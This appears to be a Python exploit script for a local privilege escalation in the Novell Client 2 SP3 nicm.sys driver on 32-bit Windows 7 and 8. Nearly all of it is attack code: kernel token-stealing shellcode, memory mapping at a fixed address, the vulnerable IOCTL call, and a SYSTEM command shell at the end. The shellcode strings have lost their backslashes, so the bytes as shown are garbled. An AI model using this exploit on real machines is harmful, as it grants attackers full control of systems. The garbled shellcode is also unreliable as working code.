# Novell Client 2 SP3 Privilege escalation exploit
# Tested on Windows 7 and 8 (x86) / nicm.sys 3.1.11.0
# Thanks to Master Ryujin :)

# The first public information I have seen about this bug was from Nikita Tarakanov @NTarakanov (I am not sure weather there was anything else public)
# Exploit for DEMO purposes :)
# Does not bypass SMEP on Windows 8
# Metasploit module working against Windows 7: http://www.exploit-db.com/exploits/26452/

from ctypes import *
import sys,struct,os
from optparse import OptionParser

kernel32 = windll.kernel32
ntdll    = windll.ntdll

if __name__ == '__main__':

     usage =  "%prog -o <target>"
     parser = OptionParser(usage=usage)
     parser.add_option("-o", type="string",
                  action="store", dest="target_os",
                  help="Available target operating systems: WIN7, WIN8")
     (options, args) = parser.parse_args()
     OS = options.target_os
     if not OS or OS.upper() not in ['WIN7','WIN8']:
           parser.print_help()
           sys.exit()
     OS = OS.upper()

     if OS == "WIN7":
		_KPROCESS = "x50" # Offset for Win7
		_TOKEN    = "xf8" # Offset for Win7
		_UPID     = "xb4" # Offset for Win7
		_APLINKS  = "xb8" # Offset for Win7
		
		steal_token =  "x52"                                 +
                 "x53"                                 +
                 "x33xc0"                             +
                 "x64x8bx80x24x01x00x00"         +
                 "x8bx40" + _KPROCESS                 +
                 "x8bxc8"                             +
                 "x8bx98" + _TOKEN + "x00x00x00"   +
                 "x89x1dx00x09x02x00"             +
                 "x8bx80" + _APLINKS + "x00x00x00" +
                 "x81xe8" + _APLINKS + "x00x00x00" +
                 "x81xb8" + _UPID + "x00x00x00x04x00x00x00" +
                 "x75xe8"                             +
                 "x8bx90" + _TOKEN + "x00x00x00"   +
                 "x8bxc1"                             +
                 "x89x90" + _TOKEN + "x00x00x00"   +
                 "x5b"                                 +
                 "x5a"                                 +
                 "xc2x08"

		sc = steal_token	
		
     else: 
		_KPROCESS = "x80" # Offset for Win8
		_TOKEN    = "xEC" # Offset for Win8
		_UPID     = "xB4" # Offset for Win8
		_APLINKS  = "xB8" # Offset for Win8

		steal_token =  "x52"                                 +
                 "x53"                                 +
                 "x33xc0"                             +
                 "x64x8bx80x24x01x00x00"         +
                 "x8bx80" + _KPROCESS + "x00x00x00"+
                 "x8bxc8"                             +
                 "x8bx98" + _TOKEN + "x00x00x00"   +
                 "x8bx80" + _APLINKS + "x00x00x00" +
                 "x81xe8" + _APLINKS + "x00x00x00" +
                 "x81xb8" + _UPID + "x00x00x00x04x00x00x00" +
                 "x75xe8"                             +
                 "x8bx90" + _TOKEN + "x00x00x00"   +
                 "x8bxc1"                             +
                 "x89x90" + _TOKEN + "x00x00x00"   +
                 "x5b"                                 +
                 "x5a"                                 +
                 "xc2x08"

		sc = steal_token

	
     kernel_sc = "x14x00x0dx0d"
     kernel_sc+= "x41x41x41x41"
     kernel_sc+= "x41x41x41x41"
     kernel_sc+= "x41x41x41x41"
     kernel_sc+= "x41x41x41x41"
     kernel_sc+= "x18x00x0dx0d"
     kernel_sc+= "x41x41x41x41"
     kernel_sc+= "x41x41x41x41"
     kernel_sc+= "x41x41x41x41"
     kernel_sc+= "x28x00x0dx0d"
     kernel_sc+= sc
	
	
     print "[>] Novell Client 2 SP3 privilege escalation for Windows 7 and Windows 8."
     print "[>] Finding the driver."
	
     GENERIC_READ = 0x80000000
     GENERIC_WRITE = 0x40000000
     OPEN_EXISTING = 0x3
     DEVICE = '\\.\nicm'
	
     device_handler = kernel32.CreateFileA(DEVICE, GENERIC_READ|GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
     EVIL_IOCTL = 0x00143B6B # Vulnerable IOCTL
     retn = c_ulong()
    
     inut_buffer = 0x0d0d0000
     inut_size = 0x14
     output_buffer = 0x0
     output_size = 0x0

     baseadd    = c_int(0x0d0d0000)
        
     MEMRES     = (0x1000 | 0x2000)
     PAGEEXE    = 0x00000040
     Zero_Bits   = c_int(0)
     RegionSize = c_int(0x1000)
     write    = c_int(0)

     print "[>] Allocating memory for our shellcode."
     dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE)
     print "[>] Writing the shellcode."
     kernel32.WriteProcessMemory(-1, 0x0d0d0000, kernel_sc, 0x1000, byref(write))

     if device_handler:
        print "[>] Sending IOCTL to the driver."
        dev_io = kernel32.DeviceIoControl(device_handler, EVIL_IOCTL, inut_buffer, inut_size, output_buffer, output_size, byref(retn), None)

     print "[>] Dropping to a SYSTEM shell."
     os.system("cmd.exe /K cd C:\windows\system32")